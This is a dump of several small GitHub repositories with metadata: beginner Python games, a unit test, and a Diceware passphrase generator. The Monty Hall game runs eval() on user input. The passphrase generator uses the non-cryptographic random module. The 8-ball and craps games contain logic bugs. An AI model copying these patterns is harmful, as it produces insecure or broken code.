https://github.com/lostmidas/python-games
a42e034733f60dd1896355698c33222c0844cdb3
bdb5bedbd82e739a0b748fdf964b49bc4e0529e9
6242b688a385ec90e49d2ae98998bb2f15a661be
refs/heads/master
2022-12-24T19:18:40.687489
2016-10-31T19:27:39
2016-10-31T19:27:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5675512552261353, "alphanum_fraction": 0.5741857886314392, "avg_line_length": 30.884614944458008, "blob_id": "22a6f6f0e415af76ac9e62afb8bae6a117794165", "content_id": "0d19dac7a03693983cb7d43ef0dbe82366bddb2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1658, "license_type": "no_license", "max_line_length": 115, "num_lines": 52, "path": "/magic-8-ball-game.py", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "'''\nMagic 8-Ball Game\n'''\n\nimport random\n\nclass Magic_8_ball: # Capitalise class names\n '''\n The Magic_8_ball class defines Magic_8_ball objects\n '''\n def __init__(self): # Tell object about itself - what it needs to know about itself\n self.replies = [\"Yes!\", \"Signs point to yes!\", # Put in keyword 'self' before replies\n \"Reply hazy. Ask again later.\",\n \"I don't think so!\", \"\"\n \"Definitely not\"\n ]\n self.reply = \"\"\n self.shake()\n\n # Shake 'method' or 'mutator\" = \"Setters\" for setting the value\n def shake(self):\n # The shake method mutuates the Magic_8_Ball object to set a new random reply.\n rand_value = int(random.random() * len(self.replies)) # The * operator references the number of 'replies,'\n # which may change over time if I want to add more\n self.reply = self.replies[rand_value]\n # \"Getters\" for getting the value\n def get_reply(self):\n return self.reply\n\ndef main():\n print(\"Magic 8 Ball predicts the future!\")\n my_8_ball = Magic_8_ball()\n\n while True:\n # Have the user enter a question\n question = input(\"Enter a Yes/No question: \")\n\n my_8_ball.shake()\n print(my_8_ball.get_reply())\n\n # Reply with a random Yes/Maybe/No response\n print(replies[rand_value])\n\n # Ask if they want to try again\n go_again = input(\"Would you like to ask another question? \")\n # If first (lower-case) letter in the answer is n...\n if go_again[0].lower() == \"n\":\n break\n\n print(\"Goodbye!\")\n\nmain()\n" }, { "alpha_fraction": 0.5739014744758606, "alphanum_fraction": 0.5872170329093933, "avg_line_length": 24.066667556762695, "blob_id": "adcab2fb493b6abdf2046ae61d1a6e6f6ea26b77", "content_id": "0c703aff7a58d2dd8473e3a33c7b096c121cac7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 751, "license_type": "no_license", "max_line_length": 67, "num_lines": 30, "path": "/monty-hall-game.py", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "'''\nMonty Hall Game\n'''\n\nimport random\n\ndef main():\n\n prizes = [\"goat\", \"goat\", \"car\"]\n doors = []\n while(len(prizes)) > 0:\n prizeNumber = random.randrange(len(prizes))\n doors.append(prizes.pop(prizeNumber))\n print(doors)\n\n choice1 = eval(input(\"Choose a door 1 - 3: \"))\n\n print(\"Before we show you your prize, let's show you\")\n print(\"another door...\")\n while(True):\n randDoor = random.randrange(len(doors))\n if doors[randDoor] != \"car\" and choice1 - 1 != randDoor:\n break\n print(\"Take a look at {}\".format(randDoor + 1))\n print(doors[randDoor])\n\n choice2 = eval(input(\"This is your last chance! Which door? \"))\n print(\"You get a...{}\".format(doors[choice2 - 1]))\n\nmain()" }, { "alpha_fraction": 0.5150501728057861, "alphanum_fraction": 0.525083601474762, "avg_line_length": 29.69230842590332, "blob_id": "71941dd46c1715df7780338362bad5b519434318", "content_id": "e6be7885e728c63274fa645b8c80674ee1b84912", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1196, "license_type": "no_license", "max_line_length": 68, "num_lines": 39, "path": "/craps-game.py", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "'''\nCraps Game\n'''\n\nimport random\n\ndef diceRoll():\n pause = input(\"Press <Enter> to roll the dice!\")\n roll = random.randrange(6) + 1 + random.randrange(6) + 1\n print(\"You rolled a: {}\".format(roll))\n return roll\n\ndef main():\n response = input(\"Do you want to play the Craps Game? y or n: \")\n if response == \"y\":\n instructions = input(\"Do you need instructions? y or n: \")\n if instructions == \"y\":\n print(\"Here are the instructions:\")\n while response == 'y':\n firstRoll = diceRoll()\n if firstRoll == 7 or firstRoll == 11:\n print(\"You won!\")\n elif firstRoll == 2 or firstRoll == 3 or firstRoll == 12:\n print(\"You lost!\")\n else:\n print(\"We're going to try and roll the point!\")\n point = firstRoll\n newRoll= diceRoll()\n while newRoll != point and newRoll != 7:\n newRoll = diceRoll()\n if newRoll == point:\n print(\"You lost!\")\n else:\n print(\"You lost!\")\n response = input(\"Do you want to play again? y or n: \")\n print(\"Okay, see you next time!\")\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.6055312752723694, "alphanum_fraction": 0.6200873255729675, "avg_line_length": 22.689655303955078, "blob_id": "77478ba228ccf691d7f971aac9b1344b967e3173", "content_id": "ec274ff937b31b4629e2dc1ed69e9aeccb6eb741", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 687, "license_type": "no_license", "max_line_length": 46, "num_lines": 29, "path": "/random-number-game.py", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "'''\nRandom Number Game\n'''\n\nimport random\n\ndef main():\n# Initialze the program\n print(\"Guess a number between 1 and 100.\")\n#randomNumber = int(35) for debugging only\n randomNumber = int(random.randint(1,100))\n# Flag variable to see if they guessed it\n found = False\n# Run through the guessing process\n\n while not found:\n userGuess = int(input(\"Your guess: \"))\n if userGuess == randomNumber:\n print(\"You got it!\")\n found = True\n elif userGuess > randomNumber:\n print(\"Guess lower!\")\n else:\n print(\"Guess higher!\")\n\n #Print congratulations and goodbye\n print(\"Thanks for playing our game!\")\n\nmain()\n" }, { "alpha_fraction": 0.8035714030265808, "alphanum_fraction": 0.8035714030265808, "avg_line_length": 27, "blob_id": "3e40160e00c943f8768e63febf45534da6f56cc0", "content_id": "33943dc7467b49375bdbc7eec63352849d400ed0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 56, "license_type": "no_license", "max_line_length": 40, "num_lines": 2, "path": "/README.md", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "# python-games\nHaving fun making simple games in Python\n" }, { "alpha_fraction": 0.5698198080062866, "alphanum_fraction": 0.5810810923576355, "avg_line_length": 36, "blob_id": "149122c67acb11a018feb69773eeb69b5473cad1", "content_id": "b9574e4e092228a4c091e5cdb310e95492e47599", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 890, "license_type": "no_license", "max_line_length": 65, "num_lines": 24, "path": "/madlib-game.py", "repo_name": "lostmidas/python-games", "src_encoding": "UTF-8", "text": "'''\nMadlib Game in Python\n'''\n\nprint(\"Let's play Madlibs!\")\n\nname = input(\"Enter a name: \")\nadjective1 = input(\"Enter an adjective: \")\nnoun1 = input(\"Enter a noun: \")\nadjective2 = input(\"Enter another adjective: \")\nfood = input(\"Enter a food (plural): \")\nnoun2 = input(\"Enter a noun (plural): \")\nverb = input(\"Enter a verb ending in 'ed': \")\nnoun3 = input(\"Enter another noun: \")\n\nprint(\"Come on over to {}’s Pizza Parlor\\n\"\n \"where you can enjoy your favorite {}-dish pizza`s.\\n\"\n \"You can try our famous {}-lovers pizza, \\n\"\n \"or select from our list of {} toppings, \\n\"\n \"including delicious {}, {}, and many more. \\n\"\n \"Our crusts are hand-{} and basted in {} to make \\n\"\n \"them seem more Hand-made.\".format(name, adjective1, noun1,\n adjective2, food, noun2,\n verb, noun3))\n" } ]
6
thor-sten/databricks-ml
https://github.com/thor-sten/databricks-ml
0d1ca208de55627d3a6496dea029d519dd35860c
cc58c03c068e600180d8f9ab8465d0156cfa08e2
d4ca4c203cdbe853247355bf9ac725bf36b10b37
refs/heads/master
2023-04-07T11:19:02.256815
2021-04-19T18:08:01
2021-04-19T18:08:01
359,550,690
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6120491027832031, "alphanum_fraction": 0.63392174243927, "avg_line_length": 18.432836532592773, "blob_id": "7a422458923b96d51a0b7431c036b5e4138f6c67", "content_id": "100b7d8391ffcfa5256e96c8679c6b77b0160199", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2606, "license_type": "no_license", "max_line_length": 107, "num_lines": 134, "path": "/fastai_DogCatBreed_classifier.py", "repo_name": "thor-sten/databricks-ml", "src_encoding": "UTF-8", "text": "# Databricks notebook source\n# MAGIC %md\n# MAGIC # Dogs and cats\n\n# COMMAND ----------\n\nfrom fastai.vision import *\nfrom fastai.metrics import error_rate\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\n# COMMAND ----------\n\n# Initialize\npath = Path('/home/jupyter/.fastai/data/oxford-iiit-pet')\npath_img = path/'images'\nfile_names = get_image_files(path_img)\npattern = r'/([^/]+)_\\d+.jpg$'\nnp.random.seed(314)\n\n# COMMAND ----------\n\npath_img.ls()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## resnet34\n\n# COMMAND ----------\n\n# Data preparation\ndata = ImageDataBunch.from_name_re(path_img, file_names, pattern, ds_tfms=get_transforms(), size=224, bs=64\n ).normalize(imagenet_stats)\n\n# COMMAND ----------\n\n# Check data\nprint(data.classes)\ndata.show_batch(rows=3, figsize=(7,6))\n\n# COMMAND ----------\n\n# Select model\nlearn = cnn_learner(data, models.resnet34, pretrained=True, metrics=accuracy)\n# learn.model\n\n# COMMAND ----------\n\n# train resnet34\nlearn.fit_one_cycle(4)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## resnet50\n\n# COMMAND ----------\n\ndata = ImageDataBunch.from_name_re(path_img, file_names, pattern, ds_tfms=get_transforms(),\n size=299, bs=32).normalize(imagenet_stats)\nlearn2 = cnn_learner(data, models.resnet50, metrics=accuracy)\n\n# COMMAND ----------\n\nlearn2.lr_find()\nlearn2.recorder.plot()\n\n# COMMAND ----------\n\n# Retrain resnet 50\nlearn2.fit_one_cycle(5)\n\n# COMMAND ----------\n\n# Save/load status\nlearn2.save('res50')\n# learn2.load('res50')\n\n# COMMAND ----------\n\n# Fine tuning\nlearn2.unfreeze()\nlearn2.fit_one_cycle(2, max_lr=slice(1e-6,1e-4))\n\n# COMMAND ----------\n\n# Check model results\ninterp = ClassificationInterpretation.from_learner(learn2)\ninterp.plot_confusion_matrix(figsize=(12,12), dpi=60)\n\n# COMMAND ----------\n\ninterp.most_confused(min_val=3)\n\n# COMMAND ----------\n\n# Save/load model from disk\nlearn2.export()\n# learn2 = load_learner(path_img)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Use model for predictions\n\n# COMMAND ----------\n\n# Download image from url and convert\nurl = 'https://i.imgur.com/mVrTdJk.jpg'\nresponse = requests.get(url)\nimg = Image.open(BytesIO(response.content))\nimg.convert('RGB').save('image.jpg')\n\n# COMMAND ----------\n\n# Load and show image\nimage_file = open_image('Vigo.jpg')\nimage_file\n\n# COMMAND ----------\n\npred_class, pred_idx, outputs = learn.predict(image_file)\npred_class\n\n# COMMAND ----------\n\n# Show output values of neural network\nprint(len(outputs))\nvalues = [float(out) for out in outputs]\nlist(zip(data.classes, values))\n\n# COMMAND ----------\n\n\n" } ]
1
AcademyNEXT2020/fruit-optimization
https://github.com/AcademyNEXT2020/fruit-optimization
eeea6c02b0863331e82ad53fe9fc6b54d8240c88
fa2b74c2493bd7bb95f25060e9430ff68e53011a
418205491677ae5a270c9ce7056ff571513c3c6c
refs/heads/master
2022-11-11T04:21:45.669105
2020-06-25T20:38:29
2020-06-25T20:38:29
274,571,595
0
20
null
2020-06-24T04:05:55
2020-06-24T19:01:38
2020-06-24T19:01:36
Python
[ { "alpha_fraction": 0.807692289352417, "alphanum_fraction": 0.8269230723381042, "avg_line_length": 25, "blob_id": "75eb394257703a773f79fd434c24eed5c419ae38", "content_id": "ab4e5edbcc83f3085a35fc2bf026159c42769372", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 52, "license_type": "no_license", "max_line_length": 30, "num_lines": 2, "path": "/README.md", "repo_name": "AcademyNEXT2020/fruit-optimization", "src_encoding": "UTF-8", "text": "# fruit-optimization\nDay 3 Fruit Model Optimization\n" }, { "alpha_fraction": 0.6581668853759766, "alphanum_fraction": 0.6670827269554138, "avg_line_length": 39.93430709838867, "blob_id": "177257b189bf4ae2213f2a074bac7da31f56c4a6", "content_id": "847a5130867f2746a0aecc69d7963c776dbf1028", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5608, "license_type": "no_license", "max_line_length": 129, "num_lines": 137, "path": "/hw_day3_optimization.py", "repo_name": "AcademyNEXT2020/fruit-optimization", "src_encoding": "UTF-8", "text": "\"\"\"\nFile: neural-nets.py\nAuthor: Irene Lin [email protected]\nAdapted from: https://www.tensorflow.org/tutorials/images/classification\nDataset is a select subset of: https://www.kaggle.com/moltean/fruits\n\nInstructions: Optimize the model as best you can by tuning the hyperparameters\nand network architecture. Submit your best model by Thursday beginning of class.\nMake sure your model is saved as model_FirstName_LastName.h5\nSubmission form: https://forms.gle/KSfvW3wWhbGy24Lj6\n\nYour modifications will take place primarily in the train() function. Feel free\nto modify other parts of this file except for the constants marked as 'DO NOT MODIFY'.\n\nHints on where to start:\n- Modify the train function to save a model.\n- Modify the train function to train, test, and save multiple different models\n so you can kick off the script, take a break, and come back to evaulate your results.\n- Write an evaulate(model, test_data_gen) function to extract more detailed\n information on your model's performance.\n\"\"\"\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nBATCH_SIZE = 50\nEPOCHS = 5\n\n################\n# DO NOT MODIFY\nNUM_CLASSES = 18\nIMG_HEIGHT = 100\nIMG_WIDTH = 100\nTRAIN_SIZE = 545\nTEST_SIZE = 201\n################\n\n# this function converts the test and train images into tensors\n# the inputs are the jpg files, the labels are the directory names\n# returns the generators for the train and test data\ndef preprocess():\n # Generator for our training data, normalizes the data\n train_image_generator = ImageDataGenerator(rescale=1./255)\n # Generator for our validation data, normalizes the data\n validation_image_generator = ImageDataGenerator(rescale=1./255)\n\n # assign variables with the proper file path for train and test set\n train_dir = os.path.join(os.getcwd(), 'train')\n test_dir = os.path.join(os.getcwd(), 'test')\n\n # convert all the images in a directory into a format that tensorflow\n # can work with\n train_data_gen = train_image_generator.flow_from_directory(\n batch_size=BATCH_SIZE,\n directory=train_dir,\n shuffle=True,\n target_size=(IMG_HEIGHT, IMG_WIDTH),\n class_mode='categorical')\n test_data_gen = validation_image_generator.flow_from_directory(\n batch_size=BATCH_SIZE,\n directory=test_dir,\n target_size=(IMG_HEIGHT, IMG_WIDTH),\n class_mode='categorical')\n # return the two objects containing our formatted train and test data\n return (train_data_gen, test_data_gen)\n\n# creates and compiles the model\ndef train(train_data_gen, test_data_gen):\n ####################################################################\n # Modify the layers here. You can change the number and order of layers,\n # and the hyperparameters of each layer. For example. The Conv2D layer has\n # filters, which represent the dimensionality of the output space, and\n # kernel_size, which represents height and width of the 2D convolution\n # window. Refer to the tensorflow documentation on layers for more details\n # on which hyperparameters you are able to tune.\n # https://www.tensorflow.org/api_docs/python/tf/keras/layers/\n # create the model\n model = tf.keras.Sequential([\n keras.layers.Conv2D(filters=4, kernel_size=3, padding='same', activation='relu', input_shape=(IMG_HEIGHT, IMG_WIDTH, 3)),\n keras.layers.Flatten(),\n keras.layers.Dense(128, activation='relu'),\n keras.layers.Dense(NUM_CLASSES, activation='softmax')\n ])\n ####################################################################\n # Prints a string summary of the network\n model.summary()\n # compile the model\n model.compile(optimizer='adam',\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n # fit and test the model. Collect statistics after every epoch\n history = model.fit(x=train_data_gen,\n steps_per_epoch=TRAIN_SIZE// BATCH_SIZE,\n epochs=EPOCHS,\n validation_data=test_data_gen,\n validation_steps=TEST_SIZE // BATCH_SIZE)\n return (history, model)\n\n# this function is for visualizing accuracy and loss after each epoch\ndef show_results(history):\n # get array of accuracy values after each epoch for training and testing\n train_acc = history.history['accuracy']\n test_acc = history.history['val_accuracy']\n\n # get array of loss values after each epoch for training and testing\n train_loss=history.history['loss']\n test_loss=history.history['val_loss']\n\n print(\"Final Train Accuracy:\", train_acc[-1])\n print(\"Final Test Accuracy:\", test_acc[-1])\n\n # generate an array for they x axis values\n epochs_range = range(EPOCHS)\n\n # plot accuracy\n plt.figure(figsize=(12, 6))\n plt.subplot(1, 2, 1)\n plt.plot(epochs_range, train_acc, label='Train Accuracy')\n plt.plot(epochs_range, test_acc, label='Test Accuracy')\n plt.legend(loc='lower right')\n plt.title('Train and Test Accuracy')\n # plot loss\n plt.subplot(1, 2, 2)\n plt.plot(epochs_range, train_loss, label='Train Loss')\n plt.plot(epochs_range, test_loss, label='Test Loss')\n plt.legend(loc='upper right')\n plt.title('Train and Test Loss')\n plt.show()\n\n(train_data_gen, test_data_gen) = preprocess()\n(history, model) = train(train_data_gen, test_data_gen)\nshow_results(history)\n" }, { "alpha_fraction": 0.6818923354148865, "alphanum_fraction": 0.6905927062034607, "avg_line_length": 37.3125, "blob_id": "9f988dfe573e1a06057d8920d6d658c79de56e45", "content_id": "c021512c96a1a1d61b5bbc0f4f8061a20aaaac79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1839, "license_type": "no_license", "max_line_length": 81, "num_lines": 48, "path": "/eval.py", "repo_name": "AcademyNEXT2020/fruit-optimization", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport os\nimport numpy as np\n\n\nIMG_HEIGHT = 100\nIMG_WIDTH = 100\n\ndef preprocess():\n # Generator for given test data, normalizes the data\n test_image_generator = ImageDataGenerator(rescale=1./255)\n # Generator for hidden test data, normalizes the data\n hidden_test_image_generator = ImageDataGenerator(rescale=1./255)\n\n # assign variables with the proper file path for given and hidden test sets\n test_dir = os.path.join(os.getcwd(), 'test')\n hidden_test_dir = os.path.join(os.getcwd(), 'test2')\n\n # convert all the images in a directory into a format that tensorflow\n # can work with\n test_data_gen = test_image_generator.flow_from_directory(\n directory=test_dir,\n target_size=(IMG_HEIGHT, IMG_WIDTH),\n class_mode='categorical')\n hidden_test_data_gen = hidden_test_image_generator.flow_from_directory(\n directory=hidden_test_dir,\n target_size=(IMG_HEIGHT, IMG_WIDTH),\n class_mode='categorical')\n\n return (test_data_gen, hidden_test_data_gen)\n\n\ndef score_model(test_data_gen, hidden_test_data_gen, filename):\n # load saved model\n model = tf.keras.models.load_model(filename)\n # evaulate the model using the given test set\n test_loss, test_accuracy = model.evaluate(test_data_gen)\n # evaulate the model using the hidden test set\n hidden_test_loss, hidden_test_accuracy = model.evaluate(hidden_test_data_gen)\n print(\"Accuracy\", test_accuracy, hidden_test_accuracy)\n\n\n(test_data_gen, hidden_test_data_gen) = preprocess()\n# replace this string with your saved model .h5 filename\nfilename = ''\nscore_model(test_data_gen, hidden_test_data_gen, filename)\n" } ]
3
saltaverde/cookies-api
https://github.com/saltaverde/cookies-api
f404876437c49ed6b654d885306f3f7185dc90b2
4f0483583f4364bb7cdc8c13e431e3894a162421
16cb345932dbe186de1fc561a155fd03595086a0
refs/heads/main
2023-07-01T21:55:24.619580
2021-08-17T15:55:25
2021-08-17T15:55:25
382,146,180
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6507936716079712, "alphanum_fraction": 0.6761904954910278, "avg_line_length": 20, "blob_id": "7a40ded514a6b72d81cc0ea1beb493d77940266d", "content_id": "fd41bc0580af3c5d5e681d3ed1bf5540a0382108", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 315, "license_type": "no_license", "max_line_length": 46, "num_lines": 15, "path": "/runserver.py", "repo_name": "saltaverde/cookies-api", "src_encoding": "UTF-8", "text": "from flask import Flask, request, jsonify\nfrom pymongo import MongoClient\n\napp = Flask(__name__)\n\n# Will connect to mongodb running on localhost\nmdb = MongoClient()\n\n# app routes with accompanying methods go here\n\nif __name__ == '__main__':\n HOST = '0.0.0.0'\n PORT = 5555\n\n app.run(HOST, PORT, debug=True)\n" }, { "alpha_fraction": 0.7504104971885681, "alphanum_fraction": 0.7598522305488586, "avg_line_length": 54.3636360168457, "blob_id": "7e6aa3f3bf12547a4d086736342837a1a3fccfdb", "content_id": "8f6483c7b0afe69b582b0808a3569ac972681438", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2436, "license_type": "no_license", "max_line_length": 320, "num_lines": 44, "path": "/README.md", "repo_name": "saltaverde/cookies-api", "src_encoding": "UTF-8", "text": "# Cookies API\n\nYou are tasked with creating a minimal REST API which provides endpoints to enable CRUD operations on cookies . . . no, not browser cookies, actual cookies (chocolate chip, peanut butter, sugar, etc).\n\nYou will develop the endpoints and methods for the API so a user can manage their cookie (object) stash via HTTP requests. You will also provide documentation in this README about how to formulate those calls to the endpoints\nso the user can clearly understand how to manage their cookies. Data about the cookie objects will persist in an instance of MongoDB under a database called, interestingly enough, `cookies`.\n\nThe user should be able to use the API to create new cookies, edit their properties (you get to decide which properties they have), delete (eat) cookies, and get information about all their cookies. For example, how many chocolate chip cookies do I have right now?\n\nAs an example, a `cookie` object could look like this in the db:\n\n```\n{\n 'user_id': 'dood',\n 'flavor': 'snicker doodle',\n 'temp': 113,\n 'radius': 3.4,\n 'deliciousness': 10,\n 'toppings': false,\n 'date_baked': 10790343458,\n 'fresh': true\n}\n```\n\nAn interesting endpoint might be something like `http://localhost/cookie_api/top_delicious/?number=10&user=me`, which returns the top 10 most delicious cookies belonging to the user `me`. The sky and your creativity are the only limits to what you can accomplish, but don't spend too much time on it for your own sake :)\n\nYou will be using Python 3 with the `Flask` framework and `pymongo` package to communicate with MongoDB. Set up a development environment on your machine, and when you submit the project you can provide us with a dump of the data in your `cookies` db.\n\nWe'll be looking at the following criteria:\n\n- How intuitive it is to use\n- Object-oriented approach\n- Logical consistency of HTTP methods and their resulting actions and responses\n- Conciseness and clarity\n- Error handling\n- Use of git to manage development flow\n- Extra points for creativity and interesting features\n- Extra points for test cases\n\nDon't worry about security--authentication, authorization, etc--but a user should have to provide their `user_id` or similar identifier with every call to the API to ensure they're only working with their cookies.\n\nWe have provided you with a barebones file to start from: `runserver.py`\n\nContact ______________ with any questions. Good luck!\n" }, { "alpha_fraction": 0.3636363744735718, "alphanum_fraction": 0.5757575631141663, "avg_line_length": 15.5, "blob_id": "9311d1ce5161c164d1341ec9e26f105950486776", "content_id": "fcb21072e5c377f0cbce08890ea4a7aeb3ca3eda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 33, "license_type": "no_license", "max_line_length": 16, "num_lines": 2, "path": "/requirements.txt", "repo_name": "saltaverde/cookies-api", "src_encoding": "UTF-8", "text": "pymongo >= 3.6.1\nFlask >= 0.12.2\n" } ]
3
shadikardosh/B_O_prediction
https://github.com/shadikardosh/B_O_prediction
2cda1743a711a3acbefd32e0f85a7d2137241ffe
08d0d36acb41946de85429731781d9c6e7794df9
276c76fe55a14c94f46d930c31d09c18d66ec95f
refs/heads/master
2020-07-10T04:40:15.029301
2020-04-02T08:05:21
2020-04-02T08:05:21
204,169,361
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6964285969734192, "alphanum_fraction": 0.6964285969734192, "avg_line_length": 14.363636016845703, "blob_id": "629bb45091bb3f21233fabbad782da5b74deaa1f", "content_id": "e0aaef729ce24c9476c32ae17ca18b3033651d26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "no_license", "max_line_length": 40, "num_lines": 11, "path": "/data_preperation/data_prep_main.py", "repo_name": "shadikardosh/B_O_prediction", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\n\n\n\ntrain = pd.read_csv('../data/train.csv')\ntest = pd.read_csv('../data/test.csv')\n\nprint(train.columns)\nprint(train)\nprint(test)" }, { "alpha_fraction": 0.6387283205986023, "alphanum_fraction": 0.647398829460144, "avg_line_length": 29.52941131591797, "blob_id": "07f39984c7d80a636f32d1a5ebd0d0a84cf40ea7", "content_id": "d9d966490bee59b7a625aaea01d16e1770a733c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1038, "license_type": "no_license", "max_line_length": 90, "num_lines": 34, "path": "/data_preperation/genres_analysis.py", "repo_name": "shadikardosh/B_O_prediction", "src_encoding": "UTF-8", "text": "import pandas as pd\npd.set_option('max_columns', None)\nimport numpy as np\nimport ast\nimport matplotlib.pyplot as plt\nimport pylab\n\n\ndef text_to_dict(df):\n for column in dict_columns:\n df[column] = df[column].apply(lambda x: {} if pd.isna(x) else ast.literal_eval(x))\n return df\n\ntrain_set = pd.read_csv('../data/train.csv')\n\ndict_columns = ['belongs_to_collection', 'genres', 'production_companies',\n 'production_countries', 'spoken_languages', 'Keywords', 'cast', 'crew']\n\ntrain_set = text_to_dict(train_set)\n\ngenre_names = set(x[\"name\"] for l in train_set[\"genres\"] for x in l)\nfor genre_name in genre_names:\n train_set[\"genre_name_\"+genre_name] = [1 if genre_name in str(l) else 0\n for l in train_set[\"genres\"]]\n\nprint(train_set.head(2))\n\ntrain_set[\"number_of_genres\"] = [len(l) for l in train_set[\"genres\"]]\n\nplt.figure(figsize=(16, 8))\nplt.subplot(1, 2, 1)\nplt.scatter(train_set['number_of_genres'], train_set['revenue'])\nplt.title('# genres vs revenue')\npass\n" } ]
2
lukyamuziB/Fancy_Tracker
https://github.com/lukyamuziB/Fancy_Tracker
28543b2e6670b9abb08f5a83007e88d5368376b8
e85ea86d03af75dd9fd8d0f0cff432af90e15a6c
12b486e54ba69e3b9a26126949676b9e0f041997
refs/heads/master
2020-12-02T16:21:23.759320
2017-07-06T12:36:27
2017-07-06T12:36:27
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6785110235214233, "alphanum_fraction": 0.6785110235214233, "avg_line_length": 30.105262756347656, "blob_id": "a142e2a6eecc290c13ad7a03caf3aea6ff0826ab", "content_id": "04601b6a5ffd73e0ba954400b75659dc5cd06c39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 591, "license_type": "no_license", "max_line_length": 90, "num_lines": 19, "path": "/tests/test_main.py", "repo_name": "lukyamuziB/Fancy_Tracker", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom src.main import User\n\n\nclass TestUserClass(TestCase):\n\n def setUp(self):\n self.new_user = User(\"Thegaijin\")\n\n def test_User_instance(self):\n self.assertIsInstance(\n self.new_user, User, msg='The object should be an instance of the User class')\n\n def test_number_of_arguments_passed_to_object(self):\n self.assertRaises(TypeError, self.new_user, 'Thegaijin')\n\n def test_argument_data_types_for_User(self):\n self.assertIsInstance(\n self.new_user.user_name, str, msg=\"Argument should be a string\")\n" } ]
1
youngblood/diceware_ppgen
https://github.com/youngblood/diceware_ppgen
4d7ce895d68864e15238ad6b452a073d8508e60b
c30ac0a7474f4b7344a93424222719c4f232fbc8
2c9006a0c6a60e7c94f1b59742b02a72c7e13578
refs/heads/master
2021-01-09T21:50:27.249564
2016-02-03T19:13:01
2016-02-03T19:13:01
51,022,825
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.46433040499687195, "alphanum_fraction": 0.48185232281684875, "avg_line_length": 21.828571319580078, "blob_id": "0089674a46acb3d8a47a06d3c5e8a6fe48dc607c", "content_id": "789b14df0133567546c6b402dc06d8ba3dcf3c67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 799, "license_type": "no_license", "max_line_length": 46, "num_lines": 35, "path": "/gen_pp.py", "repo_name": "youngblood/diceware_ppgen", "src_encoding": "UTF-8", "text": "import random\n\ndictionary = {}\nwith open('./diceware_wordlist.txt','r') as f:\n linelist = []\n code = 0\n for i, line in enumerate(f):\n if i > 1 and code < 66666:\n code,word = line.split('\\t')\n code = int(code)\n word = word.split('\\n')[0]\n dictionary[code] = word\n linelist.append(line)\n #if i < 20:\n #print code, word\n #print dictionary\n\nwords = []\nfor word_num in range(7):\n word = ''\n for digit in range(5): \n \n x = random.randint(1,6)\n #print(x)\n word += str(x)\n #print(word)\n word = int(word)\n #print('-------------')\n #print(word)\n #print('-------------')\n words.append(word)\n#print(words)\n\nfor word in words:\n print(dictionary[word])\n" }, { "alpha_fraction": 0.8020833134651184, "alphanum_fraction": 0.8020833134651184, "avg_line_length": 31, "blob_id": "41e83780cff47a37a24a3cad9321b79c42430a23", "content_id": "13951efe3fe6f12379dc195e8a60542f84093a92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 96, "license_type": "no_license", "max_line_length": 64, "num_lines": 3, "path": "/README.MD", "repo_name": "youngblood/diceware_ppgen", "src_encoding": "UTF-8", "text": "Diceware passphrase generator\n\nInstructions: just run 'python gen_pp.py' from the command line.\n" } ]
2
cenima-ibama/painelmma_api
https://github.com/cenima-ibama/painelmma_api
294bf01025a61ac3492560aeed59f5836a258bc0
a11a6cd63e312f09f445b139fcff8c11ab383764
2bd778b243dfdcb080b7ff74e804291e50a55600
refs/heads/master
2021-06-11T11:42:27.222617
2017-02-14T13:00:53
2017-02-14T13:00:53
null
0
0
null
null
null
null
null
